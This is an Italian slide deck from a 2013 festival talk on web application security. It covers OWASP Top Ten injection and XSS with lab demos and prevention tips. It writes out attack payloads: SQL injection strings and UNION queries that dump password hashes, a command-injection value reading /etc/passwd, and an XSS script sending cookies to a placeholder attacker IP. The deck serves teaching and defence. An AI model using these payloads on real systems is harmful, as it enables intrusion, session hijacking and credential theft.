Definire, configurare ed implementare soluzioni scalabili su sistemi di Cloud...
festival ICT 2013: Sicurezza delle applicazioni web
1. Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web
Andrea Zwirner
andrea@linkspirit.org
@AndreaZwirner
Nota: in questa versione scaricabile, ho inserito alcune slide con gli screenshot di quanto fatto come demo
in corso di laboratorio, corredandole di una breve descrizione. Spero che questa sia sufficientemente chiara,
nel caso di dubbi o perplessità, in questa pagina ci sono i miei contatti: usateli senza farvi scrupoli! :-) Nei
limiti di tempo impostimi dai miei impegni, cercherò di rispondere a tutte le domande. Grazie dell'interesse,
spero di reincontrarvi tutti al FdT ICT 2014! :-)
2. Andrea Zwirner
● Consulente nei campi della sicurezza informatica e forense (security
auditing, penetration testing)
● Formazione nel campo della sicurezza
● Articolista e revisore per la rivista di settore PenTest Magazine
● Collaborazione con ISECOM (Instiute for Security and Open
Methodologies)
● Hacker Highschool – Security awareness for teens
● Secure Programming Guidelines – in fase di ultimazione
Andrea Zwirner
Sicurezza delle Applicazioni Web
2
3. Cos'è la sicurezza informatica
insieme di misure di carattere organizzativo, tecnologico e procedurale
mirate ad assicurare
●
C O N F I D E N Z I A L I T ÀC O N F I D E N Z I A L I T À
●
I N T E G R I T ÀI N T E G R I T À
●
D I S P O N I B I L I T ÀD I S P O N I B I L I T À
dell'informazione.
Andrea Zwirner
Sicurezza delle Applicazioni Web
3
4. Sicurezza delle applicazioni web
● Il web non è stato progettato per essere sicuro:
● Contenuti statici in sola lettura
● Nessuna sicurezza implicita (o “by design”)
Andrea Zwirner
Sicurezza delle Applicazioni Web
4
5. Sicurezza delle applicazioni web
● Il web non è stato progettato per essere sicuro:
● Contenuti statici in sola lettura
● Nessuna sicurezza implicita (o “by design”)
● Il Web 2.0 eredita queste peculiarità dal suo predecessore, fornendo
● Ampia superficie d'attacco (ha più componenti)
● Svariati petabyte di informazioni di miliardi di utenti (privati,
aziende, banche e governi)
● Accesso diretto alle macchine degli utenti stessi
Andrea Zwirner
Sicurezza delle Applicazioni Web
5
7. Application security
● Modellazione ed analisi dei rischi derivanti dal software
● Consapevolezza di analisti / sviluppatori / beta tester / utenti finali
● Sviluppo dell'architettura (secure by design)
● Ciclo di sviluppo del software
● Scrittura del codice
● Controlli di sicurezza comuni ( non dovrebbe != non è )
Andrea Zwirner
Sicurezza delle Applicazioni Web
7
8. La metodologia
O W A S P
Open Web Application Security Project
Missione: aumentare la visibilità relativa la sicurezza del software al fine di
permettere di prendere decisioni informate ad imprese ed individui
Andrea Zwirner
Sicurezza delle Applicazioni Web
8
9. OWASP – Top Ten Project
● Descrive le dieci vulnerabilità valutate più rischiose in ambito
web application
● Finalizzato ad educare sviluppatori, designer, manager ed
organizzazioni circa le problematiche trattate
● Fornisce linee guida per la rilevazione delle problematiche
selezionate e la loro prevenzione
● Indipendente da linguaggio / framework utilizzato
Andrea Zwirner
Sicurezza delle Applicazioni Web
9
11. Top Ten 2013
● A1: Injection
● A2: Broken Authentication and Session Management
● A3: Cross-Site Scripting (XSS)
● A4: Insecure Direct Object References
● A5: Security Misconfiguration
● A6: Sensitive Data Exposure
● A7: Missing Function Level Access Control
● A8: Cross-Site Request Forgery (CSRF)
● A9: Using Known Vulnerable Components
● A10: Unvalidated Redirects and Forwards
Andrea Zwirner
Sicurezza delle Applicazioni Web
11
12. A1 – Injection – descrizione
● La vulnerabilità
● Avviene quando dati non fidati sono inviati direttamente ad un
interprete (SQL, OS, LDAP, etc)
● Un attaccante può inviare richieste forgiate in modo da forzare
l'interprete ad eseguire comandi non previsti
● Vettori d'attacco
● Qualunque fonte di dati, incluse quelle interne
Andrea Zwirner
Sicurezza delle Applicazioni Web
12
13. A1 – Injection – esempio: SQL injection
● Parametrizzazione insicura di una query:
1. var_id = _post(id);
2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
3. result = invia_query_al_database(query);
4. fai_qualcosa_con(result);
● Parametri attesi
_post(id) = n naturale (o, al più, intero)
Andrea Zwirner
Sicurezza delle Applicazioni Web
13
14. A1 – Injection – esempio: SQL injection
● Parametrizzazione insicura di una query:
1. var_id = _post(id);
2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
3. result = invia_query_al_database(query);
4. fai_qualcosa_con(result);
● Parametri attesi
_post(id) = n naturale (o, al più, intero)
● Esempio di parametro inatteso
_post(id) = 23'; DROP TABLE tab;
Andrea Zwirner
Sicurezza delle Applicazioni Web
14
15. A1 – Injection – esempio: SQL injection
● Parametrizzazione insicura di una query:
1. var_id = _post(id);
2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
3. result = invia_query_al_database(query);
4. fai_qualcosa_con(result);
● Parametri attesi
_post(id) = n (naturale o intero)
● Esempio di parametro inatteso
_post(id) = 23'; DROP TABLE tab;
SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; '
Andrea Zwirner
Sicurezza delle Applicazioni Web
15
16. A1 – Injection Fun
Pronto, qui è la scuola di suo figlio, abbiamo qualche problema informatico.
Oh, mi dica... Robert ha mica rotto qualcosa?
In un certo senso... Senta, suo figlio si chiama veramente
Robert'); DROP TABLE Students; --?
…
Andrea Zwirner
Sicurezza delle Applicazioni Web
16
17. A1 – Injection Fun
ZU 0666',0,0); DROP DATABASE TABLICE; --
Andrea Zwirner
Sicurezza delle Applicazioni Web
17
18. A1 – Injection – esempio: command injection
● Parametrizzazione insicura di un comando shell:
1. var_ip = _post(ip);
2. command = “/bin/ping c1 ” + var_ip;
3. result = esegui_comando(command);
4. stampa_nella_pagina(result);
● Parametri attesi
_post(ip) = ip (indirizzo IP)
● Parametri inattesi
_post(ip) = 127.0.0.1; cat /etc/passwd
Andrea Zwirner
Sicurezza delle Applicazioni Web
18
19. Facciamo una prova? Vi va?
Andrea Zwirner
Sicurezza delle Applicazioni Web
19
21. Andrea Zwirner
Sicurezza delle Applicazioni Web
21
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Notiamo che vi è corrispondenza fra il
parametro username (ospite) e quanto
riportato in tabella
Notiamo che vi è corrispondenza fra il
parametro username (ospite) e quanto
riportato in tabella
22. Andrea Zwirner
Sicurezza delle Applicazioni Web
22
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Proviamo a variare il parametro per
verificare se vi è un riferimento diretto
al database (e quindi anche una Direct
Object Reference (A4))
Proviamo a variare il parametro per
verificare se vi è un riferimento diretto
al database (e quindi anche una Direct
Object Reference (A4))
23. Andrea Zwirner
Sicurezza delle Applicazioni Web
23
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Se lo username non esiste, la tabella
è vuota, ma viene costruita.
Se lo username non esiste, la tabella
è vuota, ma viene costruita.
24. Andrea Zwirner
Sicurezza delle Applicazioni Web
24
Demo SQL Injection – il laboratorio FdT ICT edition :-)
IT ALL STARTS WITH AN '
Se il parametro invece è ' (apostrofo),
la tabella non viene proprio costruita:
abbiamo rotto qualcosa.
L'applicazione è SQL-injectable!
IT ALL STARTS WITH AN '
Se il parametro invece è ' (apostrofo),
la tabella non viene proprio costruita:
abbiamo rotto qualcosa.
L'applicazione è SQL-injectable!
25. Andrea Zwirner
Sicurezza delle Applicazioni Web
25
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Vediamo quindi il risultato di un
classico
parametro=valore' OR '1' = '1
Vengono mostrati tutti i record
Vediamo quindi il risultato di un
classico
parametro=valore' OR '1' = '1
Vengono mostrati tutti i record
26. Andrea Zwirner
Sicurezza delle Applicazioni Web
26
Demo SQL Injection – il laboratorio FdT ICT edition :-)
● A questo punto partiamo con delle UNION query per avere nome del
database (lab):
ospite' UNION ALL
SELECT
database(),
2,3,4
%23
● Nota: %23 rappresenta il carattere # (URL encoding) che inizia un
commento in MySQL ( il -- in SQL standard ) e serve per commentare
l'ultimo apice inserito dal programmatore della web application
27. Andrea Zwirner
Sicurezza delle Applicazioni Web
27
Demo SQL Injection – il laboratorio FdT ICT edition :-)
● Quindi enumeriamo le tabelle contenute nel database lab (fra cui users):
ospite' UNION ALL
SELECT
table_name,
2,3,4
FROM
information_schema.tables
WHERE
table_schema='lab'
%23
28. Andrea Zwirner
Sicurezza delle Applicazioni Web
28
Demo SQL Injection – il laboratorio FdT ICT edition :-)
● Ed ora i campi contenuti nella tabella users (fra cui password)
ospite' UNION ALL SELECT
ordinal_position,
column_name,
3,4
FROM
information_schema.columns
WHERE
table_schema='lab'
AND table_name = 'users'
%23
29. Andrea Zwirner
Sicurezza delle Applicazioni Web
29
Demo SQL Injection – il laboratorio FdT ICT edition :-)
Bene, ci siamo. Ora vediamo le
password:
ospite' UNION ALL SELECT
username,
password,
3,4
FROM users
%23
Bene! Sono MD5: possiamo
procedere a craccarle (esercizio per
casa! :-)
Bene, ci siamo. Ora vediamo le
password:
ospite' UNION ALL SELECT
username,
password,
3,4
FROM users
%23
Bene! Sono MD5: possiamo
procedere a craccarle (esercizio per
casa! :-)
30. A1 – Injection Fun
Andrea Zwirner
Sicurezza delle Applicazioni Web
30
31. A1 – Injection – prevenzione
● Fare escaping dei caratteri speciali, usando le sequenze specifiche per
l'interprete
● Usare API che neghino l'uso diretto dell'interprete, fornendo un
interfaccia parametrizzata
● Nel caso SQL, attenzione all'uso si Stored Procedures, che
possono essere forzate a loro volta (!)
Andrea Zwirner
Sicurezza delle Applicazioni Web
31
32. A1 – Injection – rilevazione
● Se non sono stati definiti standard di sviluppo, partire dal presupposto
che si è vulnerabili
● Verifica del codice
● Cercare i punti nel codice in cui viene richiamato l'interprete
● Assicurarsi che i comandi siano separati dai dati non fidati
● Penetration test
Andrea Zwirner
Sicurezza delle Applicazioni Web
32
33. A3 – Cross-Site Scripting (XSS)
● La vulnerabilità
● Avviene quando un'applicazione include informazioni non fidate
nei contenuti serviti agli utenti.
● L'attacco consiste nell'inviare ai browser degli utenti script che ne
sfruttano l'interprete
● Permette l'esecuzione di codice lato client, all'interno del browser
● Vettori d'attacco
● Qualunque fonte di dati, comprese quelle interne, come il
database
Andrea Zwirner
Sicurezza delle Applicazioni Web
33
34. A3 – Cross-Site Scripting (XSS)
● Le falle XSS si dividono in tre tipologie
● Stored XSS
● Il codice malevolo è persistente a database
● Reflected XSS
● Il codice malevolo è contenuto nella risposta data dal web
server ad una domanda forgiata
● DOM based XSS
● Il codice malevolo è frutto della modifica all'ambiente DOM del
browser dell'utente (avviene tutto lato client)
Andrea Zwirner
Sicurezza delle Applicazioni Web
34
35. JavaScript browser environment
Document Object Model (DOM)
document and related objects allow to access
contents of the page, modify elements etc. Most
interaction with HTML is handled here.
Browser Object Model (BOM)
BOM is a pack of objects that allow to control the
browser, e.g change current URL, access frames, do
background requests to server with XMLHttpRequest
etc. Functions like alert,confirm,prompt also belong
BOM, they are provided by the browser.
JavaScript objects and functions
JavaScript itself is a language which gives us
access to DOM, BOM and provides objects
and functions of its own.
Andrea Zwirner
Sicurezza delle Applicazioni Web
35
36. A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Un applicazione web salva a database il contenuto di un modulo per
poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)
● Nome: Andrea
● Commento: questo è un bel sito!
Andrea Zwirner
Sicurezza delle Applicazioni Web
36
37. A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Un applicazione web salva a database il contenuto di un modulo per
poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)
● Nome: Andrea
● Commento: questo è un bel sito!
● Il risultato sarà qualcosa tipo
<html>
<h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>
Caio: a chi lo dici!<br/>
Andrea: questo è un bel sito!<br/>
</html>
Andrea Zwirner
Sicurezza delle Applicazioni Web
37
38. A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Fin qui tutto bene, ma se nel modulo fosse stato inserito:
● Nome: Andrea
● Commento: bello davvero! <script>alert('XSS');</script>
Andrea Zwirner
Sicurezza delle Applicazioni Web
38
39. A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Fin qui tutto bene, ma se nel modulo fosse stato inserito:
● Nome: Andrea
● Commento: bello davvero! <script>alert('XSS');</script>
● La pagina sarebbe diventata:
<html>
<h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>
Caio: a chi lo dici!<br/>
Andrea: bello davvero! <script>alert('XSS');</script><br/>
</html>
Andrea Zwirner
Sicurezza delle Applicazioni Web
39
40. A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Risultato: esecuzione di script all'interno del browser di tutti i visitatori
Andrea Zwirner
Sicurezza delle Applicazioni Web
40
41. A3 – Il celebre alert('XSS')
● Si tratta di un attacco tanto famoso da avere addirittura un profilo
professionale su LinkedIn
Andrea Zwirner
Sicurezza delle Applicazioni Web
41
42. A3 – Cross-Site Scripting (XSS) – scenari d'attacco
● Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi anche gli
ID di sessione) ed impersonarli all'interno del sito.
● Nome: Andrea
● Commento:
<script>
new Image.src='http://IP_ATTACCANTE/ruba_cookie.cgi?dati='
+ document.cooke
</script>
Andrea Zwirner
Sicurezza delle Applicazioni Web
42
43. Facciamo una prova? Vi va?
Andrea Zwirner
Sicurezza delle Applicazioni Web
43
44. Andrea Zwirner
Sicurezza delle Applicazioni Web
44
Demo reflected cross-site scripting
Vediamo che il parametro nome è riportato
all'interno della pagina.
Nel caso in cui non ne venga fatto escaping,
potremo riportare nella pagina tag <script> e
</script>.
Vediamo che il parametro nome è riportato
all'interno della pagina.
Nel caso in cui non ne venga fatto escaping,
potremo riportare nella pagina tag <script> e
</script>.
45. Andrea Zwirner
Sicurezza delle Applicazioni Web
45
Demo reflected cross-site scripting
A quanto pare, questo succede! :-)
Abbiamo iniettato la stringa
<script>alert('XSS')</script>
All'interno del codice della pagina.
L'attacco è di tipo reflected XSS
A quanto pare, questo succede! :-)
Abbiamo iniettato la stringa
<script>alert('XSS')</script>
All'interno del codice della pagina.
L'attacco è di tipo reflected XSS
46. Andrea Zwirner
Sicurezza delle Applicazioni Web
46
Demo reflected cross-site scripting
Nel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei
tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che
l'immagine cercata non esiste.
Nel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei
tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che
l'immagine cercata non esiste.
47. Andrea Zwirner
Sicurezza delle Applicazioni Web
47
Demo DOM based cross-site scripting
In questo esempio il nome è scritto sulla pagina da una funzione
JavaScript contenuta all'interno del codice della pagina stessa e
che modifica il documento lato client, in funzione degli anchor
contenuti nell'URL (→ location.hash).
La stringa da iniettare per l'attacco sarà uguale all'esempio
reflected, ma il funzionamento dell'attacco è profondamente
differente: prima il parametro era riportato nella pagina da una
funzione eseguita lato server, qui avviene tutto lato client (la
pagina potrebbe essere del tutto statica).
In questo esempio il nome è scritto sulla pagina da una funzione
JavaScript contenuta all'interno del codice della pagina stessa e
che modifica il documento lato client, in funzione degli anchor
contenuti nell'URL (→ location.hash).
La stringa da iniettare per l'attacco sarà uguale all'esempio
reflected, ma il funzionamento dell'attacco è profondamente
differente: prima il parametro era riportato nella pagina da una
funzione eseguita lato server, qui avviene tutto lato client (la
pagina potrebbe essere del tutto statica).
48. Andrea Zwirner
Sicurezza delle Applicazioni Web
48
Demo DOM based cross-site scripting
A tal riguardo è interessante notare che, cambiando il
parametro, il contenuto della pagina generata varia, ma il suo
sorgente resta lo stesso!
Per questo per vedere il cambiamento nella pagina, una volta
modificato il parametro, è fra l'altro necessario ricaricarla (non
basta battere invio): non variando il suo sorgente il browser
semplicemente non fa alcuna modifica a quanto visualizzato (e
non ri-esegue gli script), in quanto non si aspetta vi siano
cambiamenti
A tal riguardo è interessante notare che, cambiando il
parametro, il contenuto della pagina generata varia, ma il suo
sorgente resta lo stesso!
Per questo per vedere il cambiamento nella pagina, una volta
modificato il parametro, è fra l'altro necessario ricaricarla (non
basta battere invio): non variando il suo sorgente il browser
semplicemente non fa alcuna modifica a quanto visualizzato (e
non ri-esegue gli script), in quanto non si aspetta vi siano
cambiamenti
49. Andrea Zwirner
Sicurezza delle Applicazioni Web
49
Demo DOM based cross-site scripting
Per concludere ecco l'attacco e la PoC dell'esistenza della
vulnerabilità. Anche in questo caso, come atteso, il sorgente
della pagina non varia.
Per concludere ecco l'attacco e la PoC dell'esistenza della
vulnerabilità. Anche in questo caso, come atteso, il sorgente
della pagina non varia.
50. A3 – Cross-Site Scripting (XSS) – prevenzione
● Il concetto è quello di separare i dati non fidati dai contenuti web (da
inviare ai browser)
● Fare escaping dei contenuti non fidati (JavaScript, CSS, URL, etc)
● OWASP XSS Prevention Cheat Sheet
● Nel caso non ci sia necessità di input di caratteri speciali,
applicare white list per la validazione degli input (e.g. solo lettere
per i nomi, solo cifre per i numeri, solo cifre + “/” per le date, etc)
● Nei casi di rich contents, cosiderare l'uso di librerie di auto-
sanization
● OWASP AntiSamy
Andrea Zwirner
Sicurezza delle Applicazioni Web
50
51. A3 – Cross-Site Scripting (XSS) – rilevazione
● Considerando di avere già inserito a DB codice malevolo, bisogna
verificare che qualunque contenuto inviato sia gestito correttamente
(escaped) prima di includerlo in ogni pagina.
● L'unico modo certo è combinare:
● Ricerca manuale nel codice
● Pen Testing
● Esistono tool automatici per la ricerca delle falle (ad esempio
DOMinator di Minded Security)
Andrea Zwirner
Sicurezza delle Applicazioni Web
51
53. Laboratorio – configurazione dispositivi
● File di hosts:
● Windows
● Notepad (come amministratore)
● C:WINDOWSsystem32driversetchosts
● Mac OS X
● sudo …
● /private/etc/hosts
● Linux
● sudo …
● /etc/hosts
● Configurare nel file di hosts
10.255.251.27 target
Andrea Zwirner
Sicurezza delle Applicazioni Web
53
54. Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web
Andrea Zwirner
andrea@linkspirit.org
@AndreaZwirner
55. Approfondimenti consigliati
● Wikipedia – Application Security – 2013
● Tutti i documenti pubblicati da OWASP, ed in particolare ogni Cheat Sheet
● Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it right – 2013
● P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN
● B. Guimarães – Advanced SQL injection to operating system full control – 2009
● R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where!
● E. Benoist – Brocken Authentication and Session Management – 2012
● B. Hardin – Series about the Owasp Top 10 – 2009
● Euorpean Commission – Cybersecurity Strategy of the European Union – 2013
● K. Kuliukas – How Rainbow Tables work
● google!
Andrea Zwirner
Sicurezza delle Applicazioni Web
55
56. Risorse OWASP da non perdere
● Testing Project
Definisce le best practices per la conduzione di test di sicurezza ad applicazioni web,
indirizzata a sviluppatori e beta tester.
● Code Review Project
Metodi di revisione del codice suddivisi per controllo (authentication / authorization) e per
tipologie di minacce / vulnerabilità
● Secure Coding Practices - Quick Reference Guide
Check list per la verifica dell'utilizzo delle secure coding best practices (17 pag. - life cycle)
● WebGoat Project
Applicazione web per impratichirsi con le tecniche di testing
“Developers should not feel bad about not knowing security. Even the best programmers make security errors. What they
need is a scapegoat, right?”
● Web Testing Environment Project (storicamente Live CD Project)
● Distribuzione specificatamente pensata per il Web Application penetration testing
Andrea Zwirner
Sicurezza delle Applicazioni Web
56
